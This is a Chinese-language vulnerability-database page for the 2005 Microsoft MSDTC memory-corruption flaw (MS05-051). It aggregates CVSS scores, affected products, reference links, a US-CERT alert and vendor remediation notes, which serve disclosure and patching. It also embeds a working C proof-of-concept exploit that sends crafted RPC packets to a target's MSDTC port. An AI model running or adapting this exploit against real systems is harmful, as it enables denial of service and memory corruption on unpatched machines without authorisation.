CVE-2005-2119

CVSS

5.0

发布时间 :2005-10-12 09:04:00

修订时间 :2008-09-10 15:41:06

NMCOEPS

[原文]The MIDL_user_allocate function in the Microsoft Distributed Transaction Coordinator (MSDTC) proxy (MSDTCPRX.DLL) allocates a 4K page of memory regardless of the required size, which allows attackers to overwrite arbitrary memory locations using an incorrect size value that is provided to the NdrAllocate function, which writes management data to memory outside of the allocated buffer.

[CNNVD]Microsoft Windows MSDTC内存破坏漏洞(MS05-051)(CNNVD-200510-066)

        Microsoft 分布式事务处理协调器中的MIDL_user_allocate 函数分配4k页内存，攻击者可以通过提供给NdrAllocate函数的不正确的值去覆盖任意的内存位置而执行恶意代码。
        Microsoft Windows是微软发布的非常流行的操作系统，Microsoft分布式事务处理协调器(MSDTC)是Microsoft Windows 平台的一个分布式事务处理设备。
        Microsoft Windows MSDTC处理用户请求存在漏洞，允许远程攻击者在任意内存地址写入有限有限的数据字节，成功利用此漏洞可以在一些Windows系统上执行任意指令，从而完全控制系统。
        在Windows 2000上，这是一个远程执行代码漏洞。在Windows XP Service Pack 1和Windows Server 2003上，这是一个本地特权提升漏洞。在Windows XP Service Pack 1上，如果启动了Microsoft MSDTC，这还会变为一个远程执行代码漏洞。

NVD
CNNVD
Exploit-DB
PacketStorm
OSVDB
SecurityFocus

- CVSS (基础分值)

CVSS分值:	5	[中等(MEDIUM)]
机密性影响:	NONE	[对系统的机密性无影响]
完整性影响:	PARTIAL	[可能会导致系统文件被修改]
可用性影响:	NONE	[对系统可用性无影响]
攻击复杂度:	LOW	[漏洞利用没有访问限制 ]
攻击向量:		[--]
身份认证:	NONE	[漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:microsoft:windows_xp::sp2:tablet_pc	Microsoft windows xp_sp2 tablet_pc
cpe:/o:microsoft:windows_2003_server:r2
cpe:/o:microsoft:windows_2003_server:itanium
cpe:/o:microsoft:windows_2000::sp4::fr
cpe:/o:microsoft:windows_2003_server:sp1::itanium
cpe:/o:microsoft:windows_2003_server:sp1
cpe:/o:microsoft:windows_2003_server:64-bit
cpe:/o:microsoft:windows_xp:::64-bit
cpe:/o:microsoft:windows_xp::sp1:tablet_pc	Microsoft windows xp_sp1 tablet_pc

- OVAL (用于检测的技术细节)

oval:org.mitre.oval:def:551	MSDTC Unchecked Buffer Permits Remote Code Execution or Privilege Elevation (Win2k,SP4)
oval:org.mitre.oval:def:1452	MSDTC Unchecked Buffer Permits Remote Code Execution or Privilege Elevation (Server 2003)
oval:org.mitre.oval:def:1071	MSDTC Unchecked Buffer Permits Remote Code Execution or Privilege Elevation (WinXP,SP1)
*OVAL详细的描述了检测该漏洞的方法，你可以从相关的OVAL定义中找到更多检测该漏洞的技术细节。

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2119 (官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-2119 (官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200510-066 (官方数据源) CNNVD

- 其它链接及资源

http://www.us-cert.gov/cas/techalerts/TA05-284A.html
(UNKNOWN) CERT TA05-284A

http://www.kb.cert.org/vuls/id/180868
(UNKNOWN) CERT-VN VU#180868

http://www.microsoft.com/technet/security/bulletin/MS05-051.mspx
(VENDOR_ADVISORY) MS MS05-051

http://www.osvdb.org/18828
(UNKNOWN) OSVDB 18828

http://www.securityfocus.com/bid/15056
(UNKNOWN) BID 15056

http://www.eeye.com/html/research/advisories/AD20051011b.html
(UNKNOWN) EEYE AD20051011b

http://support.avaya.com/elmodocs2/security/ASA-2005-214.pdf
(UNKNOWN) CONFIRM http://support.avaya.com/elmodocs2/security/ASA-2005-214.pdf

http://securitytracker.com/id?1015037
(UNKNOWN) SECTRACK 1015037

http://securityreason.com/securityalert/73
(UNKNOWN) SREASON 73

http://secunia.com/advisories/17509
(UNKNOWN) SECUNIA 17509

http://secunia.com/advisories/17223
(UNKNOWN) SECUNIA 17223

http://secunia.com/advisories/17172
(UNKNOWN) SECUNIA 17172

http://secunia.com/advisories/17161
(UNKNOWN) SECUNIA 17161

- 漏洞信息

漏洞名称:Microsoft Windows MSDTC内存破坏漏洞(MS05-051)
紧急程度:中危	漏洞类型:边界条件错误
发布日期:2005-10-12 00:00:00	更新日期:2005-10-20 00:00:00
攻击路径:远程※本地
详细介绍:
Microsoft 分布式事务处理协调器中的MIDL_user_allocate 函数分配4k页内存，攻击者可以通过提供给NdrAllocate函数的不正确的值去覆盖任意的内存位置而执行恶意代码。 Microsoft Windows是微软发布的非常流行的操作系统，Microsoft分布式事务处理协调器(MSDTC)是Microsoft Windows 平台的一个分布式事务处理设备。 Microsoft Windows MSDTC处理用户请求存在漏洞，允许远程攻击者在任意内存地址写入有限有限的数据字节，成功利用此漏洞可以在一些Windows系统上执行任意指令，从而完全控制系统。在Windows 2000上，这是一个远程执行代码漏洞。在Windows XP Service Pack 1和Windows Server 2003上，这是一个本地特权提升漏洞。在Windows XP Service Pack 1上，如果启动了Microsoft MSDTC，这还会变为一个远程执行代码漏洞。

- 公告与补丁

暂无数据

- 漏洞信息 (1341)

漏洞名称:MS Windows MSDTC Service Remote Memory Modification PoC (MS05-051) (EDBID:1341)
影响平台:windows	漏洞类型:dos
发布日期:2005-11-27	确认状态:Verified
漏洞端口:0	代码作者:darkeagle
系统下载: N/A	代码下载: [点击下载]

/*
\             MSDTC remote PoC exploit
/                   by Darkeagle
\
/
\              Unl0ck Research Team
/
\
/  Greetingz:  all UKT boys, 0x557 guys, Sowhat, GHC/RST guys
\
/  Exploit tested on: Windows 2000 Professional Russian Service Pack 4
\
/  http://exploiterz.org || http://55k7.org
\
/  Reference: http://security.nnov.ru/Jdocument906.html
\
/  ."by default on all Windows 2000 systems."
\  it's false: by default in my system msdtc service turned off.
*/

#include <stdio.h>
#include <string.h>
#include <winsock.h>
#include <windows.h>

unsigned char packet1[] =
"\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00"
"\x00\x00\x01\x00\x00\x00\xd0\x16\xd0\x16\x00\x00\x00\x00\x01\x00"
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"\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00";

unsigned char packet2[] =
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"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00"
"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00"
"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00"
"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00"
"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00"
"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00"
"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00"
"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00"
"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00"
"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00"
"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00"
"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00"
"\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00\x90\x00";

int banner (char *proga)
{
    system("cls");
    printf("** MSDTC remote PoC Exploit **\n");
    printf("         by Darkeagle       \n");
    printf("\nUse: %s <ip> <port>\n", proga);
    printf("Default port: 3372\n");
    printf("Have fun!\n");
}

int main ( int argc, char *argv[] )
{
    SOCKET sock;
    WSADATA wsa;
    struct sockaddr_in addr;
    int port;
    char *ip_addr;

    if ( argc < 3 ) { banner(argv[0]); exit(0); }
    
    
    banner(argv[0]);
    
    port = atoi(argv[2]);
    ip_addr = argv[1];
    
    printf("[] preparing..\n");
    
    WSAStartup(MAKEWORD(2,0), &wsa);
    
    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    addr.sin_addr.s_addr = inet_addr(ip_addr);
    
    printf("[] connecting..\n");
    
    if ( connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1 )
    { printf("[-] connection failed!\n"); exit(0); }
    
    printf("[] sending crafted packet...");
    if ( send(sock, packet1, sizeof(packet1), 0) == -1 )
    { printf("[-] send failed!\n"); exit(0); }
    
    if ( send(sock, packet2, sizeof(packet2), 0) == -1 )
    { printf("[-] send failed!\n"); exit(0); }
    
    printf("ok!\n");
    
    closesocket(sock);
    WSACleanup();
    return 0;
    
}

// milw0rm.com [2005-11-27]

- 漏洞信息 (F40619)

漏洞名称:Technical Cyber Security Alert 2005-284A (PacketStormID:F40619)

发布日期: 2005-10-12 00:00:00

文件作者:US-CERT cert.org

文件标签: advisory,remote,denial of service,arbitrary,vulnerability

系统标签: windows

公告标识: CVE-2005-2120,CVE-2005-1987,CVE-2005-2122,CVE-2005-2128,CVE-2005-2119,CVE-2005-1978,CVE-2005-2127,CVE-2005-0163

文件下载: [点击下载]

漏洞详情:

Microsoft has released updates that address critical vulnerabilities in Windows, Internet Explorer, and Exchange Server. Exploitation of these vulnerabilities could allow a remote, unauthenticated attacker to execute arbitrary code or cause a denial of service on an affected system.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


            Technical Cyber Security Alert TA05-284A 
  Microsoft Windows, Internet Explorer, and Exchange Server
  Vulnerabilities

   Original release date: October 11, 2005
   Last revised: --
   Source: US-CERT

Systems Affected

     * Microsoft Windows
     * Microsoft Internet Explorer
     * Microsoft Exchange Server

   For more complete information, refer to the Microsoft Security
   Bulletin Summary for October 2005.

Overview

   Microsoft has released updates that address critical vulnerabilities
   in Windows, Internet Explorer, and Exchange Server. Exploitation of
   these vulnerabilities could allow a remote, unauthenticated attacker
   to execute arbitrary code or cause a denial of service on an affected
   system.

I. Description

   Microsoft Security Bulletins for October 2005 address vulnerabilities
   in Windows and Internet Explorer. Further information is available in
   the following US-CERT Vulnerability Notes:


   VU#214572 - Microsoft Plug and Play fails to properly validate user
   supplied data 

   Microsoft Plug and Play contains a flaw in the handling of message
   buffers that may result in local or remote arbitrary code execution or
   denial-of-service conditions.
   (CAN-2005-2120)


   VU#883460 - Microsoft Collaboration Data Objects buffer overflow 

   A buffer overflow in Microsoft Collaboration Data Objects may allow a
   remote, unauthenticated attacker to execute arbitrary code on a
   vulnerable system.
   (CAN-2005-1987)


   VU#922708 - Microsoft Windows Shell fails to handle shortcut files
   properly 

   Microsoft Windows Shell does not properly handle some shortcut files
   and may permit arbitrary code execution when a specially-crafted file
   is opened.
   (CAN-2005-2122)


   VU#995220 - Microsoft DirectShow buffer overflow 

   A buffer overflow in Microsoft DirectShow may allow a remote,
   unauthenticated attacker to execute arbitrary code on a vulnerable
   system.
   (CAN-2005-2128)


   VU#180868 - Microsoft Distributed Transaction Coordinator vulnerable
   to buffer overflow via specially crafted network message 

   Microsoft Distributed Transaction Coordinator (MSDTC) may be
   vulnerable to a flaw that allows remote, unauthenticated attackers to
   execute arbitrary code.
   (CAN-2005-2119)


   VU#950516 - Microsoft COM+ contains a memory management flaw 

   Microsoft COM+ contains a vulnerability due to a memory management
   flaw that may allow an attacker to take complete control of an
   affected system.
   (CAN-2005-1978)


   VU#959049 - Several COM objects cause memory corruption in Microsoft
   Internet Explorer 

   Microsoft Internet Explorer will initialize COM objects that were not
   intended to be used in the web browser. Several COM objects have been
   identified that may allow an attacker to execute arbitrary code or
   crash Internet Explorer.
   (CAN-2005-2127)


   VU#680526 - Microsoft Internet Explorer allows non-ActiveX COM objects
   to be instantiated

   Microsoft Internet Explorer will initialize COM objects that were not
   intended to be used in the web browser. This may allow an attacker to
   execute arbitrary code or crash Internet Explorer.
   (CAN-2005-0163)

II. Impact

   Exploitation of these vulnerabilities may allow a remote,
   unauthenticated attacker to execute arbitrary code with SYSTEM
   privileges or with the privileges of the user. If the user is logged
   on with administrative privileges, the attacker could take complete
   control of an affected system. An attacker may also be able to cause a
   denial of service.

III. Solution

Apply Updates

   Microsoft has provided the updates for these vulnerabilities in the
   Security Bulletins and on the Microsoft Update site.

Workarounds

   Please see the following US-CERT Vulnerability Notes for workarounds.

Appendix A. References

     * Microsoft Security Bulletin Summary for October 2005 -
       <http://www.microsoft.com/technet/security/bulletin/ms05-oct.mspx>

     * US-CERT Vulnerability Note VU#214572 -
       <http://www.kb.cert.org/vuls/id/214572>

     * US-CERT Vulnerability Note VU#883460 -
       <http://www.kb.cert.org/vuls/id/883460>

     * US-CERT Vulnerability Note VU#922708 -
       <http://www.kb.cert.org/vuls/id/922708>

     * US-CERT Vulnerability Note VU#995220 -
       <http://www.kb.cert.org/vuls/id/995220>

     * US-CERT Vulnerability Note VU#180868 -
       <http://www.kb.cert.org/vuls/id/180868>

     * US-CERT Vulnerability Note VU#950516 -
       <http://www.kb.cert.org/vuls/id/950516>

     * US-CERT Vulnerability Note VU#959049 -
       <http://www.kb.cert.org/vuls/id/959049>

     * US-CERT Vulnerability Note VU#680526 -
       <http://www.kb.cert.org/vuls/id/680526>

     * CAN-2005-2120 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2120>

     * CAN-2005-1987 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1987>

     * CAN-2005-2122 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2122>

     * CAN-2005-2128 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2128>

     * CAN-2005-2119 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2119>

     * CAN-2005-1978 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1978>

     * CAN-2005-2127 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2127>

     * CAN-2005-0163 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0163>

     * Microsoft Update - <https://update.microsoft.com/microsoftupdate>


  _________________________________________________________________

   The most recent version of this document can be found at:

   <http://www.us-cert.gov/cas/techalerts/TA05-284A.html> 
  _________________________________________________________________

   Feedback can be directed to US-CERT.  Please send email to:
   <cert@cert.org> with "TA05-284A Feedback VU#959049" in the subject.
  _________________________________________________________________

   Revision History

   Oct 11, 2004: Initial release
  _________________________________________________________________

   Produced 2005 by US-CERT, a government organization.
  
   Terms of use

   <http://www.us-cert.gov/legal.html>
  _________________________________________________________________

   For instructions on subscribing to or unsubscribing from this 
   mailing list, visit <http://www.us-cert.gov/cas/>.





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- 漏洞信息

OSVDBID: 18828
漏洞名称:Microsoft Windows Distributed Transaction Coordinator (DTC) Memory Modification Remote Code Execution
漏洞位置: Remote / Network Access	利用方式:
漏洞影响:Loss of Integrity	解决方式:
漏洞利用:Exploit Public	公开方式:Vendor Verified

- 漏洞描述

Microsoft Windows contains a flaw that may allow a remote attacker to gain privileges. The issue is due to the MIDL_user_allocate function in the Microsoft Distributed Transaction Coordinator (MSDTC) proxy (MSDTCPRX.DLL) allocating a 4K page of memory regardless of the required size, which allows an attacker to overwrite arbitrary memory locations using an incorrect size value that is provided to the NdrAllocate function, which writes management data to memory outside of the allocated buffer.

- 时间线

公开日期: 2005-10-11	发现日期: Unknow
利用日期:2005-11-25	解决日期:2005-10-11

- 解决方案

Products

Unknown or Incomplete

- 相关参考

Security Tracker: 1015037
Milw0rm: 1341
Exploit Database: 1341
Secunia Advisory ID: 17161 17172 17223 17509
CVE ID: 2005-2119 (see also: NVD)
Keyword: 2005006318 EEYEB-20050708
Microsoft Knowledge Base Article: 902400
Mail List Post: http://archives.neohapsis.com:80/archives/vulnwatch/2005-q4/0010.html
Other Advisory URL: http://research.eeye.com/html/advisories/published/AD20051011b.html
http://www.eeye.com/html/research/advisories/AD20051011b.html [ Link is 404 ]
Vendor Specific Advisory URL: http://support.avaya.com/elmodocs2/security/ASA-2005-214.pdf
http://www130.nortelnetworks.com/cgi-bin/eserv/cs/main.jsp?cscat=BLTNDETAIL&DocumentOID=361442&RenditionID=
http://www130.nortelnetworks.com/cgi-bin/eserv/cs/main.jsp?cscat=BLTNDETAIL&DocumentOID=366956&RenditionID=
Vendor URL: http://www.microsoft.com/
Generic Exploit URL: http://www.securiteam.com/exploits/6D00N2KEKW.html
News Article: http://www.smh.com.au/news/breaking/more-attack-code-released-for-windows-flaws/2005/11/29/1133026443579.html
Microsoft Security Bulletin: MS05-051

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

漏洞名称:Microsoft Windows MSDTC Memory Corruption Vulnerability
漏洞分类: Boundary Condition Error	BugtraqID: 15056
远程溢出:Yes	本地溢出:Yes
发布日期:2005-10-11 12:00:00	更新日期:2009-07-12 05:07:00
漏洞作者: Discovery is credited to eEye Digital Security.

- 受影响的程序版本

Nortel Networks Centrex IP Element Manager 8.0
Nortel Networks Centrex IP Element Manager 7.0
Nortel Networks Centrex IP Element Manager 2.5
Nortel Networks Centrex IP Client Manager 8.0
Nortel Networks Centrex IP Client Manager 7.0
Nortel Networks Centrex IP Client Manager 2.5
Nortel Networks Centrex IP Client Manager
Nortel Networks CallPilot 4.0
Nortel Networks CallPilot 3.0
Microsoft Windows XP Tablet PC Edition SP1
Microsoft Windows XP Tablet PC Edition
Microsoft Windows XP Professional x64 Edition
Microsoft Windows XP Professional SP1
Microsoft Windows XP Professional
Microsoft Windows XP Media Center Edition SP1
Microsoft Windows XP Media Center Edition
Microsoft Windows XP Home SP1
Microsoft Windows XP Home
Microsoft Windows XP 64-bit Edition SP1
Microsoft Windows XP 64-bit Edition
Microsoft Windows Server 2003 Web Edition
Microsoft Windows Server 2003 Standard x64 Edition
Microsoft Windows Server 2003 Standard Edition
Microsoft Windows Server 2003 Enterprise x64 Edition
Microsoft Windows Server 2003 Enterprise Edition Itanium 0
Microsoft Windows Server 2003 Enterprise Edition
Microsoft Windows Server 2003 Datacenter x64 Edition
Microsoft Windows Server 2003 Datacenter Edition Itanium 0
Microsoft Windows Server 2003 Datacenter Edition
Microsoft Windows 2000 Server SP4
Microsoft Windows 2000 Server SP3
Microsoft Windows 2000 Server SP2
Microsoft Windows 2000 Server SP1
Microsoft Windows 2000 Server
Microsoft Windows 2000 Professional SP4
Microsoft Windows 2000 Professional SP3
Microsoft Windows 2000 Professional SP2
Microsoft Windows 2000 Professional SP1
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Datacenter Server SP4
Microsoft Windows 2000 Datacenter Server SP3
Microsoft Windows 2000 Datacenter Server SP2
Microsoft Windows 2000 Datacenter Server SP1
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Advanced Server SP4
Microsoft Windows 2000 Advanced Server SP3
Microsoft Windows 2000 Advanced Server SP2
Microsoft Windows 2000 Advanced Server SP1
Microsoft Windows 2000 Advanced Server
Avaya Unified Communication Center
Avaya S8100 Media Servers R9
Avaya S8100 Media Servers R8
Avaya S8100 Media Servers R7
Avaya S8100 Media Servers R6
Avaya S8100 Media Servers R12
Avaya S8100 Media Servers R11
Avaya S8100 Media Servers R10
Avaya S8100 Media Servers 0
Avaya S3400 Message Application Server 0
Avaya IP600 Media Servers R9
Avaya IP600 Media Servers R8
Avaya IP600 Media Servers R7
Avaya IP600 Media Servers R6
Avaya IP600 Media Servers R12
Avaya IP600 Media Servers R11
Avaya IP600 Media Servers R10
Avaya IP600 Media Servers
Avaya DefinityOne Media Servers R9
Avaya DefinityOne Media Servers R8
Avaya DefinityOne Media Servers R7
Avaya DefinityOne Media Servers R6
Avaya DefinityOne Media Servers R12
Avaya DefinityOne Media Servers R11
Avaya DefinityOne Media Servers R10
Avaya DefinityOne Media Servers

- 漏洞讨论

The Microsoft Windows MSDTC (Microsoft Distribution Transaction Coordinator) service is prone to a memory corruption vulnerability. This issue could allow for execution of arbitrary code in the context of the service. The vulnerability may be remotely exploitable in some circumstances, but will also permit local privilege escalation.

This issue is remotely exploitable on Windows 2000 platforms, since the Network DTC is enabled by default on this platform. On Windows XP, this issue may be remotely exploitable if a local user has started the service. On Windows Server 2003, this vulnerability is limited to local privilege escalation unless Network DTC has been explicitly enabled by an administrator. This issue is not present on Windows XP SP2 and Windows Server 2003 SP1.

Update: Microsoft reports several systems have experienced one or more problems after installing the critical update from Microsoft Security Bulletin MS05-051 for this issue. For a more detailed explanation of these problems please see the attached microsoft knowledge base article 909444.

- 漏洞利用

Reports indicate that Immunity has developed a proof of concept exploit for this issue.

An exploit by Darkeagle (msdtc_dos.c) is available.

A code execution exploit (msdtc.cpp) is available. However, the author states that the code execution may be unreliable.

UPDATE: This vulnerability is currently being exploited by the Dasher.a/Dasher.b worms.

- 解决方案

Microsoft has released a security bulletin to address this issue on supported platforms. Users are strongly advised to apply the patches due to the existence of malicious self-propagating code that exploits the issue.

Avaya has released advisory ASA-2005-214 to state which Avaya products are affected by The October 2005 release of Microsoft Windows security updates. Please see the referenced advisory for further information.

Microsoft knowledge base article 909444 available detailing problems experienced after the critical update from Microsoft Security Bulletin MS05-051 was installed.

Nortel Networks has released a technical support bulletin (2005006318) regarding this and other issues for their Centrex IP Client Manager (CICM). They report the vulnerabilities will be fixed in the upcoming 2.5, 7.0 and 8.0 maintenance releases. Please see the referenced bulletin for further information.

Nortel Networks has released a technical support bulletin (2005006316) regarding this issue for CallPilot. Users are advised to contact Nortel for further information.

Microsoft Windows XP Tablet PC Edition SP1